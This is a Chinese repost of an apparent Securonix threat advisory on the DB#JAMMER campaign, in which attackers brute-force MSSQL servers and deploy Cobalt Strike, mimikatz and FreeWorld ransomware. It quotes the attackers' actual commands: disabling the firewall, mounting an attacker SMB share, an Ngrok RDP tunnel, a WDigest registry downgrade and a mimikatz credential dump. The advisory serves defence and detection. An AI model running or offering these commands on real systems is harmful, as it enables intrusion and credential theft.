tl;dr
作为 DB#JAMMER 攻击活动一部分的威胁参与者正在使用暴力攻击破坏暴露的 MSSQL 数据库,并且似乎拥有良好的工具并准备好提供勒索软件和 Cobalt Strike 有效负载。
在一次有趣的攻击活动中,Securonix 威胁研究团队发现了威胁参与者使用暴力攻击来针对暴露的 Microsoft SQL (MSSQL) 服务。DB#JAMMER 脱颖而出的原因之一是攻击者的工具基础设施和有效负载的使用方式。
其中一些工具包括枚举软件、RAT 有效负载、漏洞利用和凭证窃取软件,最后是勒索软件有效负载。选择的勒索软件有效负载似乎是 Mimic 勒索软件的新变种,称为 FreeWorld。FreeWorld 文本存在于二进制文件名以及勒索软件扩展名中。
在这种情况下,威胁行为者以 MSSQL 服务器为目标,并能够使用服务器上启用的xp_cmdshell功能在主机上获得代码执行立足点。一旦被利用,攻击者立即开始枚举系统并运行 shell 命令来削弱防御,并部署有助于在主机上建立持久性的工具。
考虑到攻击者发动攻击的速度有多快,这种攻击从工具到基础设施似乎都相当复杂。
初始访问 (TA0001)
威胁行为者通过强制 MSSQL 登录来获取对受害者主机的访问权限。经过身份验证后,他们立即开始枚举数据库,特别是使用以下语句来定位其他登录凭据:
从 sys.sql_logins 中选择名称,其中名称不为空。
接下来,攻击者发现MSSQL函数xp_cmdshell存储过程被启用,开始在主机上运行shell命令。此功能允许执行命令,除非需要,否则通常不应启用。
系统枚举 (TA0007)
使用一些基本命令进行枚举。其中大部分包括 wmic.exe、net.exe 和 ipconfig.exe。每个都是通过 MSSQL xp_cmdshell 执行的:
图 1:系统和用户枚举命令
一旦他们确信目标系统是合法的,他们就开始下一阶段的攻击,其中包括更改配置以削弱防御。
削弱防御 (T1562)
此时,攻击者在主机上执行了各种命令,从用户创建/修改到注册表更改。命令快速连续执行,表明它们可能是从工具列表或文档中复制它们。我们将详细讨论每一个。
用户创建 (T1136)
在受害者主机上创建了三个新用户,其中包括windows、adminv$和mediaadmin$。每个用户都被添加到“远程桌面用户”、“管理员”中。有趣的是,攻击者试图执行一个大型单行命令来创建用户并修改组成员身份,但是执行了该命令的几种变体来解释不同语言的组。
该命令的示例如下所示。正如您所看到的,正在执行多个由“&”字符分隔的命令,这些命令以三种不同的语言创建用户并将其添加到管理员组:英语(管理员)、德语(administratoren)、波兰语(administratorzy)、加泰罗尼亚语(管理员)和西班牙语(管理员)。
虽然命令的组成员身份部分可能会产生错误,但它确实为攻击者提供了“一个命令来统治所有内容”,以增加攻击者在系统语言未知时的成功机会。
图2:用户创建/修改命令示例
攻击者对上述每个用户执行了与上述类似的多个命令。用户和组就位后,执行以下命令以确保密码不会过期并且用户永远不会注销:
net accounts /maxpwage:unlimited
net accounts /forcelogoff:no
枚举和修改注册表 (T1112)
很明显,攻击者更喜欢使用 RDP 连接到受害者计算机。后来观察到 Ngrok 代理软件的使用,但是为了了解情况,攻击者通过进行以下注册表更改来枚举 RDP 环境的当前状态,以确保连接成功:
禁用系统防火墙 (T1562.004)
攻击者并没有简单地允许通过 Windows 防火墙的连接或检查其状态,而是选择了“万福玛丽”方法并通过运行以下命令将其全部禁用:
netsh 防火墙设置 opmode 禁用。
建立持久性(TA0003)
此时,攻击者已经禁用了大部分系统防御,特别是在网络保护和 RDP 身份验证方面。下一阶段涉及连接到远程 SMB 共享以传入和传出工具。
首先执行单个命令来分离许多网络共享。至于动机,我们不能说,因为这样做可能会中断正在运行的进程并通知管理员:
图 3:删除现有网络共享
一段时间后,他们使用以下连接参数将自己的远程网络共享安装为“V”驱动器:
net use V: \45.148.122[.]63V /user:sharp [已编辑密码]
网络份额分析
网络共享允许攻击者在受害者系统之间传输文件以及安装恶意工具。
图 4 :SMB 共享文件夹内容
对于攻击者来说不幸的是,但对于我们来说幸运的是,我们能够提取所有托管文件作为我们安全调查/响应分析的一部分。大多数文件都有不特定和任意的名称,但我们能够根据它们的用途确定它们的功能。
此时,攻击者从使用 xp_cmdshell 方法执行命令转向从 SMB 提供的二进制文件 svr.exe 执行命令,该二进制文件似乎是 Cobalt Strike 命令和控制负载。我们观察到它与 gelsd[.]com 建立 DNS 连接。(在下面的附录:A 中提取的配置)。
图 5:srv.exe 详细信息
Ngrok 用法
此时,攻击者试图通过 Ngrok 建立 RDP 持久性。Ngrok 允许通过在主机上运行服务来绕过防火墙。向攻击者提供公共 IP 和端口进行连接。
Ngrok 二进制文件被复制到 C:WindowsSystem32 中并简单命名为 n.exe。尝试通过 svr.exe 使用以下命令建立连接:
cmd.exe /cc:/windows/system32/n.exe config add-authtoken [已编辑令牌] & c:/windows/system32/n.exe tcp 3389
由于 Ngrok 被防火墙阻止,该尝试最终失败,但是我们的攻击者在放弃之前尝试使用相同的身份验证令牌再重复命令序列六次。
AnyDesk RAT
不要灰心,攻击者转向远程访问软件 AnyDesk。AnyDesk 是一项合法服务,其功能类似于 RAT。威胁行为者长期以来一直在利用它向受害者推送勒索软件。
似乎通过 svr.exe 进程执行了一个批处理文件(“a2.bat”)来下载并执行 AnyDesk 安装,但它似乎是自删除的,我们无法观察其内容。
观察到以下进程和命令行是从 cmd/batch 文件父进程执行的。这些文件的暂存目录是“C:WindowsTemp”:
图 6:AnyDesk 安装
横向运动 (TA0008)
凭借强大的持续性,攻击者此时改变了策略并开始枚举网络。下载高级端口扫描实用程序并将其放置在新创建的用户“windows”的桌面目录中。
c:userswindowsdesktopadvanced_port_scanner_2.5.3869.exe
凭证转储 (T1003)
Mimikatz 是通过另一个名为 start.bat 的批处理文件执行的,该文件位于“c:userswindowsdesktopstart.bat”。据我们所知,start.bat 的目的是首先修改注册表以强制使用明文凭据。这是使用WDigest 降级攻击来执行的。批处理文件通过执行以下命令调用注册表更改来完成此操作。
reg add “hkey_local_machinesystemcurrentcontrolsetcontrolsecurityproviderswdigest” /v uselogoncredential /t reg_sz /d 1 /f
然后,批处理文件执行 mimikatz.exe 来转储凭据:
mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords full”exit
结果被转储到“windows”用户的桌面上并显示:
explorer.exe → notepad.exe c:userswindowsdesktopmimikatz_dump.txt
FreeWorld 勒索软件简介
此时攻击者已经受够了,在主机上下载并部署了 Mimic 勒索软件。FreeWorld 勒索软件似乎是 Mimic 勒索软件的变体,因为它遵循许多类似的 TTP 来实现其目标。这两个变体似乎都滥用合法应用程序Everything来查询和定位要加密的目标文件。
Mimic 勒索软件植入程序“ 5000.exe ”被下载到“ c:userswindowsdesktop50000.exe ”并使用 Windows 资源管理器执行。该释放器将 7zip 和 Everything 应用程序提取到用户的临时目录中。然后,5000.exe 指示 7zip 将伪造的 Everything64.dll(受密码保护的存档)的内容提取到当前目录中。这是使用以下命令完成的:
c:userswindowsappdatalocaltemp7zipsfx.0007za.exe x -y -p1[已编辑密码] everything64.dll
接下来,勒索软件有效负载被提取到用户的“ appdatalocal[random_GUID] ”目录中。之后“50000.exe”将删除主要勒索软件负载“dc.exe”。
执行后,勒索软件开始加密受害者主机并使用“ .FreeWorldEncryption ”扩展名生成加密文件。
一旦完成其过程,它将创建一个名为“ FreeWorld-Contact.txt ”的文本文件,其中包含有关如何支付赎金的说明。
图 7:FreeWorld 勒索软件说明
C2 和基础设施
在 DB#JAMMER 活动期间,我们观察到与 C2 主机的以下网络通信。
建议和缓解措施
该攻击最初是通过对 MSSQL 服务器进行暴力攻击而成功的。目前尚不清楚攻击者是否使用基于字典的密码喷射尝试或随机密码喷射尝试。然而,必须强调强密码的重要性,尤其是在公开的服务上。
在预防和检测方面,我们建议:
1、利用强大、复杂的密码,尤其是在暴露于互联网的服务上
2、在 MSSQL 环境中,限制 xp_cmdshell 存储过程的使用
3、与其将服务暴露于互联网,不如利用 VPN 等值得信赖的平台
4、监控常见的恶意软件暂存目录,尤其是本次攻击活动中使用的“C:WindowsTemp”
5、部署额外的进程级日志记录,例如Sysmon和PowerShell 日志记录,以实现额外的日志检测覆盖范围
MITRE ATT&CK
分析的文件哈希
相关 Securonix 临时检测的一些示例
EDR-SYM652-ERI
EDR-SYM650-ERI
EDR-SYM599-RUN
EDR-SYM418-RUN
EDR-SYM417-RUN
EDR-SYM172-RUN
EDR-SYM69-BPI / EDR-ALL-69-BP
NTA-CRL25-ERI
WEL-TAR11-RUN
转载来源:https://www.securonix.com/blog/securonix-threat-labs-security-advisory-threat-actors-target-mssql-servers-in-dbjammer-to-deliver-freeworld-ransomware/
图片来源网络侵权可联系删除